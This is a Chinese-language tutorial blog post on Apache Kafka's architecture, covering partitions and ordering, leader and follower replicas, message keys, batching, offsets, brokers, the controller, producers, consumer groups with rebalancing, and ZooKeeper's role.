    試想,如果一個Topic積累了太多的數據以至於單台 Broker 機器都無法容納了,此時應該怎麼辦呢?

    一個很自然的想法就是,能否把數據分割成多份保存在不同的機器上?這不就是分區的作用嗎?其實就是解決伸縮性的問題,每個partition都可以放在獨立的服務器上。

    當然優勢不僅於此,也可以提高吞吐量。kafka只允許單個partition的數據被一個consumer線程消費。因此,在consumer端,consumer并行度完全依賴於被消費的分區數量。綜上所述,通常情況下,在一個Kafka集群中,partition的數量越多,意味着可以到達的吞吐量越大。

    partition結構

    每個partition對應於一個文件夾,該文件夾下存儲該partition的數據和索引文件。

    如圖所示,可以看到兩個文件夾,都對應着一個叫做asd的topic,在該台服務器上有兩個分區,0和2,那麼1呢?在其他服務器上啦!畢竟是分佈式分佈的!

    我們進去asd-0目錄中看看是什麼?有後綴為.index和.log的文件,他們就是該partition的數據和索引文件:

    現在先不管它們是何方神聖,因為我會在【分區機制原理】這篇文章中詳細描述。

    partition順序性

    現在,我需要你睜大眼睛看看關於分區非常重要的一點:

    【每個partition內部保證消息的順序。但是分區之間是不保證順序的】

    這一點很重要,例如kafka中的消息是某個業務庫的數據,mysql binlog是有先後順序的,10:01分我沒有付款,所以pay_date為null,而10:02分我付款了,pay_date被更新了。

    但到了kafka那,由於是分佈式的,多分區的,可就不一定能保證順序了,也許10:02分那條先來,這樣可就會引發嚴重生產問題了。因此,一般我們需要按表+主鍵來分區。保證同一主鍵的數據發送到同一個分區中。

    如果你想要 kafka 中的所有數據都按照時間的先後順序進行存儲,那麼可以設置分區數為 1。

    Replica (副本)

    每個partition可以配置若干個副本。Kafka 定義了兩類副本:領導者副本(Leader Replica)和追隨者副本(Follower Replica)。只能有 1 個領導者副本和 N-1 個追隨者副本。

    為啥要用副本?也很好理解,反問下自己為什麼重要的文件需要備份多份呢?備份機制(Replication)是實現高可用的一個手段。

    需要注意的是:僅Leader Replica對外提供服務,與客戶端程序進行交互,生產者總是向領導者副本寫消息,而消費者總是從領導者副本讀消息。而Follower Replica不能與外界進行交互,它只做一件事:向領導者副本發送請求,請求領導者把最新生產的消息發給它,保持與領導者的同步。

    如果對於剛剛所說的主題、分區、副本還有疑惑,那麼結合下面這張圖再思考一下,我相信你就可以玩轉它了:

    下圖所示,TopicA,具有三個partition,每個partion都有1 個leader副本和 1 個follower者副本。為了保證高可用性,一台機器宕機不會有影響,因此leader副本和follower副本必然分佈在不同的機器上。

    消息層

    Kafka的官方定義是message system,由此我們可以知道Kafka 中最基本的數據單元無疑是消息message,它可理解成數據庫里的一條行或者一條記錄。消息是由字符數組組成。關於消息你必須知道這幾件事:

    消息key

    發送消息的時候指定 key,這個 key 也是個字符數組。key 用來確定消息寫入分區時,進入哪一個分區。你可以用有明確業務含義的字段作為key,比如用戶號,這樣就可以保證同一個用戶號進入同一個分區。

    批量寫入

    為了提高效率, Kafka 以批量batch的方式寫入。

    一個 batch 就是一組消息的集合, 這一組的數據都會進入同一個 topic 和 partition(這個是根據 producer 的配置來定的) 。

    每一個消息都進行一次網絡傳輸會很消耗性能,因此把消息收集到一起再同時處理就高效的多。

    當然,這樣會引入更高的延遲以及吞吐量:batch 越大,同一時間處理的消息就越多。batch 通常都會進行壓縮,這樣在傳輸以及存儲的時候效率都更高一些。

    位移
    生產者向分區寫入消息,每條消息在分區中的位置信息由一個叫位移(Offset)的數據來表徵。分區位移總是從 0 開始,假設一個生產者向一個空分區寫入了 10 條消息,那麼這 10 條消息的位移依次是 0、1、2、…、9。

    服務端

    Kafka 的服務器端由被稱為 Broker 的服務進程構成,即一個 Kafka 集群由多個 Broker 組成,Kafka支持水平擴展,broker數量越多,集群吞吐量越高。在集群中每個broker都有一個唯一brokerid,不得重複。Broker 負責接收和處理客戶端發送過來的請求,以及對消息進行持久化。

    一般會將不同的 Broker 分散運行在不同的機器上,這樣如果集群中某一台機器宕機,kafka可以自動選舉出其他機器上的 Broker 繼續對外提供服務。這其實就是 Kafka 提供高可用的手段之一。

    controller

    Kafka集群中會有一個或者多個broker,其中有且僅有一個broker會被選舉為控制器(Kafka Controller),它負責管理整個集群中所有分區和副本的狀態。

    當某個分區的leader副本出現故障時,由控制器負責為該分區選舉新的leader副本。當檢測到某個分區的ISR集合發生變化時,由控制器負責通知所有broker更新其元數據信息。當為某個topic增加分區數量時,同樣還是由控制器負責分區的重新分配。

    這幾句話可能會讓你覺得困惑不要方 只是突出下控制器的職能很多,而這些功能的具體細節會在後面的文章中做具體的介紹。

    Kafka中的控制器選舉的工作依賴於Zookeeper,成功競選為控制器的broker會在Zookeeper中創建/controller這個臨時(EPHEMERAL)節點,此臨時節點的內容參考如下:

    其中version在目前版本中固定為1,brokerid表示稱為控制器的broker的id編號,timestamp表示競選稱為控制器時的時間戳。

    兩種客戶端

    Kafka有兩種客戶端。生產者和消費者。我們把生產者和消費者統稱為客戶端(Clients)。

    向主題Topic發布消息Message的客戶端應用程序稱為生產者(Producer),生產者程序通常持續不斷地向一個或多個主題發送消息。

    而訂閱這些主題消息的客戶端應用程序就被稱為消費者(Consumer)。和生產者類似,消費者也能夠同時訂閱多個主題的消息。

    Producer

    Producer 用來創建Message。在發布訂閱系統中,他們也被叫做 Publisher 發布者或 writer 寫作者。

    通常情況下,會發布到特定的Topic,並負責決定發布到哪個分區(通常簡單的由負載均衡機制隨機選擇,或者通過key,或者通過特定的分區函數選擇分區。)
    Producer分為Sync Producer 和 Aync Producer。

    Sync Producer同步的生產者,即一定要某條消息成功才會發送下一條。所以它是低吞吐率、一般不會出現數據丟失。

    Aync Producer異步的生產者,有個隊列的概念,是直接發送到隊列裏面,批量發送。高吞吐率、可能有數據丟失的。

    Consumer 和 Consumer Group

    消費者

    Consumer 讀取消息。在發布訂閱系統中,也叫做 subscriber 訂閱者或者 reader 閱讀者。消費者訂閱一個或者多個主題,然後按照順序讀取主題中的數據。

    消費位移

    消費者需要記錄消費進度,即消費到了哪個分區的哪個位置上,這是消費者位移(Consumer Offset)。注意,這和上面所說的消息在分區上的位移完全不是一個概念。上面的“位移”表徵的是分區內的消息位置,它是不變的,即一旦消息被成功寫入到一個分區上,它的位移值就是固定的了。

    而消費者位移則不同,它可能是隨時變化的,畢竟它是消費者消費進度的指示器嘛。通過存儲最後消費的 Offset,消費者應用在重啟或者停止之後,還可以繼續從之前的位置讀取。保存的機制可以是 zookeeper,或者 kafka 自己。

    消費者組

    ConsumerGroup:消費者組,指的是多個消費者實例組成一個組來消費一組主題,分區只能被消費者組中的其中一個消費者去消費,組員之間不能重複消費。

    為什麼要引入消費者組呢?主要是為了提升消費者端的吞吐量。多個消費者實例同時消費,加速整個消費端的吞吐量(TPS)。

    當然它的作用不僅僅是瓜分訂閱主題的數據,加速消費。它們還能彼此協助。假設組內某個實例掛掉了,Kafka 能夠自動檢測到,然後把這個 Failed 實例之前負責的分區轉移給其他活着的消費者,這個過程稱之為重平衡(Rebalance)。

    你務必先把這個詞記住,它是kafka大名鼎鼎的重平衡機制,生產出現的異常問題很多都是由於它導致的。後續我會在【kafka大名鼎鼎又臭名昭著的重平衡】文章中詳細分析。

    Zookeeper

    zookeeper目前在kafka中扮演着舉重輕重的角色和作用~是kafka不可缺少的一個組件。

    目前,Apache Kafka 使用 Apache ZooKeeper 來存儲它的元數據,比如brokers信息、分區的位置和主題的配置等數據就是存儲在 ZooKeeper 集群中。

    注意我的用詞,我只說是目前。why?在 2019 年社區提出了一個計劃,以打破這種依賴關係,並將元數據管理引入 Kafka 本身。因為擁有兩個系統會導致大量的重複。

    在之前的設計中,我們至少需要運行三個額外的 Java 進程,有時甚至更多。事實上,我們經常看到具有與 Kafka 節點一樣多的 ZooKeeper 節點的 Kafka 集群!此外,ZooKeeper 中的數據還需要緩存在 Kafka 控制器上,這導致了雙重緩存。

    更糟糕的是,在外部存儲元數據限制了 Kafka 的可伸縮性。當 Kafka 集群啟動時,或者一個新的控制器被選中時,控制器必須從 ZooKeeper 加載集群的完整狀態。隨着元數據數量的增加,加載過程需要的時間也會增加,這限制了 Kafka 可以存儲的分區數量。

    最後,將元數據存儲在外部會增加控制器的內存狀態與外部狀態不同步的可能性。

    因此,未來,Kafka 的元數據將存儲在 Kafka 本身中,而不是存儲在 ZooKeeper 之類的外部系統中。可以持續關注kafka社區動態哦!

    總結

    一個典型的kafka集群包含若干個producer(向主題發布新消息),若干consumer(從主題訂閱新消息,用Consumer Offset表徵消費者消費進度),cousumergroup(多個消費者實例共同組成的一個組,共同消費多個分區),若干broker(服務器端進程)。還有zookeeper。

    kafka發布訂閱的對象叫主題,每個Topic下可以有多個Partition,Partition中每條消息的位置信息又叫做消息位移(Offset),Partition有副本機制,使得同一條消息能夠被拷貝到多個地方以提供數據冗餘,副本分為領導者副本和追隨者副本。

    可以用下面這張圖來形象表達kafka的組成:

    另外,再po一張思維導圖助你回顧本文所述的術語。

    重要!!關注【胖滾豬學編程】公眾號發送”kafka”。獲取本文所有架構圖以及Kafka全系列思維導圖!

    本文來源於公眾號:【胖滾豬學編程】。一枚集顏值與才華於一身,不算聰明卻足夠努力的女程序媛。用漫畫形式讓編程so easy and interesting!求關注!

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

    ※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

    南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

    ※教你寫出一流的銷售文案?

    ※超省錢租車方案